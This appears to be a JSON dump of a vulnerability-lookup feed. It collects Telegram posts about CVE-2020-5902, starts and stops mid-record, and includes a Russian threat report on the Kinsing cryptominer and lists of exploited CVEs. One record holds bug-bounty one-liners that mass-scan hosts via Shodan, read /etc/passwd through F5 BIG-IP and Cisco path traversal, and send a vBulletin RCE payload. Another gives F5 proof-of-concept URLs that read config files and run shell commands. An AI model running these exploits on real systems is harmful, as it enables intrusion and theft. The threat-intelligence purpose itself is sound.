\u0430\u0442\u0430\u043a\u0438 \u0438 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0430 \u0432 2025 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043d\u0430\u0447\u0430\u043b\u0438 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043f\u043e RU.\n\n\u0412\u0435\u0441\u043d\u043e\u0439 \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 F6 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0441\u0432\u043e\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 IoCs, \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0438 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u044f\u0432\u043b\u044f\u0435\u043c\u044b\u0445 TTPs \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0432\u044b\u0448\u043b\u0438 \u043d\u0430 \u0441\u043b\u0435\u0434 Kinsing.\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0446\u0435\u043b\u044c Kinsing - \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u041f\u041e \u0434\u043b\u044f \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442.\n\n\u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u00a0\u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a,\u00a0Kinsing\u00a0\u043d\u0435 \u043f\u0440\u0438\u0431\u0435\u0433\u0430\u0435\u0442 \u043a\u00a0\u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u043c \u0430\u0442\u0430\u043a\u0430\u043c, \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u044e\u0442 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u0432\u044b\u044f\u0432\u043b\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: CVE-2017-9841, CVE-2019-17564, CVE-2019-19781, CVE-2020-10684, CVE-2020-17519, CVE-2020-5902, CVE-2020-9480, CVE-2021-26084, CVE-2021-41773, CVE-2021-44228, CVE-2022-24706, CVE-2022-26134, CVE-2023-35042.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0436\u0435\u0440\u0442\u0432\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0449\u0435\u0442 \u043c\u0430\u0439\u043d\u0435\u0440\u044b \u043a\u043e\u043d\u043a\u0443\u0440\u0435\u043d\u0442\u043e\u0432, \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u0438\u0445 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439.\n\n\u0410\u0442\u0430\u043a\u0438 Kinsing \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0430\u00a0\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0435 Linux-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432\u00a0\u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0438\u00a0\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0445 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u0445\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u00a0\u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u00a0\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 \u0432\u00a0\u0442\u0430\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445, \u043a\u0430\u043a Docker, Kubernetes, Redis \u0438\u00a0PostgreSQL, \u0430\u00a0\u0442\u0430\u043a\u0436\u0435 \u0432\u00a0\u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 - Apache Log4j, Tomcat, NiFi, Confluence, Citrix, WebLogic \u0438\u00a0\u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0446\u0435\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440,\u00a0lh.sh\u00a0\u0434\u043b\u044f\u00a0Log4Shell), \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043c\u0430\u0439\u043d\u0435\u0440\u044b \u0438\u00a0\u0441\u0430\u043c \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a Kinsing.\n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f - \u0437\u0430\u043c\u0435\u0434\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u044b, \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438 \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u043d\u044b\u0439 \u0438\u0437\u043d\u043e\u0441 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f (\u043e\u0442\u00a0\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u00a0\u043f\u0440\u0438\u043c\u0435\u043d\u0451\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0434\u043e \u0438\u0442\u043e\u0433\u043e\u0432\u043e\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0430\u0442\u0430\u043a\u0438 \u0438\u00a0\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439) \u0438 IOCs - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2025-08-15T16:40:05.000000Z"}, {"uuid": "135fb4a7-7e74-4331-99a8-a0222d7fabf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/Secur_information_technology/50", "content": "Awesome One-liner Bug Bounty :\n\n> A collection of awesome one-liner scripts especially for bug bounty.\n\nThis repository stores and houses various one-liner for bug bounty tips provided by me as well as contributed by the community. Your contributions and suggestions are heartily\u2665 welcome.\n\n## Definitions\n\nThis section defines specific terms or placeholders that are used throughout one-line command/scripts.\n\n- 1.1. \"HOST\" defines one hostname, (sub)domain, or IP address, e.g. replaced by internal.host, domain.tld, sub.domain.tld, or 127.0.0.1.\n- 1.2. \"HOSTS.txt\" contains criteria 1.1 with more than one in file.\n- 2.1. \"URL\" definitely defines the URL, e.g. replaced by http://domain.tld/path/page.html or somewhat starting with HTTP/HTTPS protocol.\n- 2.2. \"URLS.txt\" contains criteria 2.1 with more than one in file.\n- 3.1. \"FILE.txt\" or \"FILE{N}.txt\" means the files needed to run the command/script according to its context and needs.\n- 4.1. \"OUT.txt\" or \"OUT{N}.txt\" means the file as the target storage result will be the command that is executed.\n\n---\n\n### Local File Inclusion\n\n\ngau HOST | gf lfi | qsreplace \"/etc/passwd\" | xargs -I% -P 25 sh -c 'curl -s \"%\" 2>&1 | grep -q \"root:x\" && echo \"VULN! %\"'\n### Open-redirect\n\n\nexport LHOST=\"URL\"; gau $1 | gf redirect | qsreplace \"$LHOST\" | xargs -I % -P 25 sh -c 'curl -Is \"%\" 2>&1 | grep -q \"Location: $LHOST\" && echo \"VULN! %\"'\n\n`bash\ncat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null\n\n### XSS\n> @cihanmehmet\n\nbash\ngospider -S URLS.txt -c 10 -d 5 --blacklist \".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)\" --other-source | grep -e \"code-200\" | awk '{print $5}'| grep \"=\" | qsreplace -a | dalfox pipe | tee OUT.txt\n\n\n\nbash\nwaybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b YOURS.xss.ht pipe > OUT.txt\n\n\n\nbash\ncat HOSTS.txt | getJS | httpx --match-regex \"addEventListener\\((?:'|\\\")message(?:'|\\\")\"\n\n### Prototype Pollution\n\n\nbash\nsubfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\\/?proto[testparam]=exploit\\//' FILE.txt | page-fetch -j 'window.testparam == \"exploit\"? \"[VULNERABLE]\" : \"[NOT VULNERABLE]\"' | sed \"s/(//g\" | sed \"s/)//g\" | sed \"s/JS //g\" | grep \"VULNERABLE\"\n\n### CVE-2020-5902\n\nbash\nshodan search http.favicon.hash:-335242539 \"3992\" --fields ip_str,port --separator \" \" | awk '{print $1\":\"$2}' | while read host do ;do curl --silent --path-as-is --insecure \"https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\" | grep -q root && \\printf \"$host \\033[0;31mVulnerable\\n\" || printf \"$host \\033[0;32mNot Vulnerable\\n\";done\n\n### CVE-2020-3452\n\n\nbash\nwhile read LINE; do curl -s -k \"https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\" | head | grep -q \"Cisco\" && echo -e \"[${GREEN}VULNERABLE${NC}] $LINE\" || echo -e \"[${RED}NOT VULNERABLE${NC}] $LINE\"; done < HOSTS.txt\n\n### CVE-2022-0378\n\n\nbash\ncat URLS.txt | while read h do; do curl -sk \"$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x\"|grep -qs \"onmouse\" && echo \"$h: VULNERABLE\"; done\n\n### vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution\n\n\nbash\nshodan search http.favicon.hash:-601665621 --fields ip_str,port --separator \" \" | awk '{print $1\":\"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \\printf \"$host \\033[0;31mVulnerable\\n\" || printf \"$host \\033[0;32mNot Vulnerable\\n\";done;`\n\n### Find JavaScript Files", "creation_timestamp": "2024-05-19T19:36:04.000000Z"}, {"uuid": "939efb1c-bbfa-4334-ba6a-ced744cb9ffa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/poxek/1375", "content": "CVE-2020-5902\nexploit code for F5-Big-IP (CVE-2020-5902)\n\u0412 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 \u0438 11.6.1-11.6.5.1 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c (TMUI), \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u0438\u043c\u0435\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 (RCE) \u043d\u0430 \u043d\u0435\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u0445.\nProof of concept\nhttps:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\nhttps:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts\nhttps:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license\nhttps:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf\nhttps:///tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin\n\nhttps://github.com/yasserjanah/CVE-2020-5902\n\n\u0414\u043d\u0435\u0432\u043d\u0438\u043a \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0430 \ud83d\udee1", "creation_timestamp": "2022-04-23T15:00:54.000000Z"}, {"uuid": "ab6f64e2-489c-4ca8-b459-79c03a81d487", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/infosec1z/47", "content": "\ud83d\udd30Top 10 vulnerabilities in 2020:\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n\ud83c\udfa5 CVE PoC videos\n\nhttps://youtu.be/-ppzdYDk-ZM\n\nhttps://youtube.com/playlist?list=PLiVfOzljj-46iFcif16qMaPP84ZxCZ4Mb\n\n\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n\ud83c\udfa5 CVE PoC videos\n\nhttps://youtu.be/MUAAwijvAe8\n\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)\n\n\n\u2796\u2796 @infosec1z \u2796\u2796", "creation_timestamp": "2021-09-05T16:58:17.000000Z"}, {"uuid": "607d0866-c758-4e60-b846-9bf89e0d2236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/is_n3ws/36", "content": "\u0410\u041d\u0411 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u043e \u0430\u0442\u0430\u043a\u0438 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0445 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0432\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u043e \u043e\u0442\u0447\u0435\u0442. Top-20 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\nhttps://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF\n\nGaining Remote Access: \n-----------------------------\nCVE-2019-11510: Arbitrary file read/Pulse Secure VPN\nCVE-2019-19781: RCE/Citrix ADC\nCVE-2020-8195/3/6: Unauthenticated access\nCVE-2019-0708: RCE on RDP server\nCVE-2020-5902: RCE in F5 BIG-IP\n\nAD:\n----\nCVE-2020-1472: #ZeroLogon\nCVE-2019-1040: NTLM relay bypass\n\nMDM: \n------\nCVE-2020-15505: MobileIron device management\n\nExploiting Public Facing Services:\n---------------- \nCVE-2020-1350: RCE/ DNS Servers #SigRed\nCVE-2018-6789: RCE/ Exim mail transfer\nCVE-2018-4939: RCE/ Adobe's Cold Fusion\n\nWorkstation Local Privilege Escalation:\n-------------------------\nCVE-2020-0601: ECC spoofing #CurveBall\nCVE-2019-0803: Win32k Elevation of Privilege\n\nInternal Applications:\n--------------------\nCVE-2020-0688: RCE/MS Exchange\nCVE-2020-2555: RCE/Oracle Weblogic\nCVE-2019-11580: RCE/Atlassian Crowd\nCVE-2019-18935: RCE/ASP.Net\nCVE-2015-4852: RCE/Apache\nCVE-2019-3396: Unauthorized Access/Confluence\nCVE-2020-10189: RCE/Desktop Central", "creation_timestamp": "2020-11-06T22:00:17.000000Z"}, {"uuid": "7a35cb7d-fa52-4369-9e8b-335e28217569", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/mis_team/169", "content": "\u0416\u0430\u0440\u043a\u0438\u0435 \u043b\u0435\u0442\u043d\u0438\u0435 \u0442\u0432\u043e\u0438\u2026 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n\u041b\u0435\u0442\u043e 2020 \u0433\u043e\u0434\u0430 \u0431\u043e\u0433\u0430\u0442\u043e \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (\u0432\u0438\u0434\u0438\u043c\u043e \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0430\u0435\u0442\u0441\u044f \u043f\u0430\u043d\u0434\u0435\u043c\u0438\u044f \u0432 \u043c\u0438\u0440\u0435 \u0418\u0411). \u041f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440, \u0430 \u0442\u0435\u043c \u0431\u043e\u043b\u0435\u0435 RedTeam \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442, \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0420\u043e\u0421 \u043d\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d. \u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043d\u0435 \u0432\u0441\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e, \u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0442\u0430\u043a\u043e\u0433\u043e \u0440\u043e\u0434\u0430 \u0434\u0435\u043b\u0430\u0435\u0442 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0431\u0435\u0437\u0437\u0430\u0449\u0438\u0442\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0434 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c. \u0414\u0435\u043b\u0438\u043c\u0441\u044f \u0441 \u0432\u0430\u043c\u0438 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u043c \u043e\u0431\u0437\u043e\u0440\u043e\u043c \u0433\u043e\u0440\u044f\u0447\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0438\u0445 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c.\n\n\u041f\u0430\u0442\u0447\u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043d\u0430 \u0432\u0441\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435, \u0447\u0442\u043e \u043e\u043d\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b (\u0438\u043b\u0438 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b)!\n\n1. F5 BIG-IP\n\nTMUI RCE vulnerability CVE-2020-5902\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c (Traffic Management User Interface) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u044b \u0438 (\u0438\u043b\u0438) \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 Java \u043a\u043e\u0434 \n\nCVSSv2: 10\nCVSSv3: 9.8\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: https://support.f5.com/csp/article/K52145254\n\n\u0420\u043e\u0421: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/f5_bigip_tmui_rce.rb\n\n2. Citrix\n\n5 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0440\u0430\u0437\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445: https://support.citrix.com/article/CTX276688\n\nPoC: \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u043d\u043e \u0435\u0441\u0442\u044c \u0445\u043e\u0440\u043e\u0448\u0435\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0432\u0441\u0435\u0445 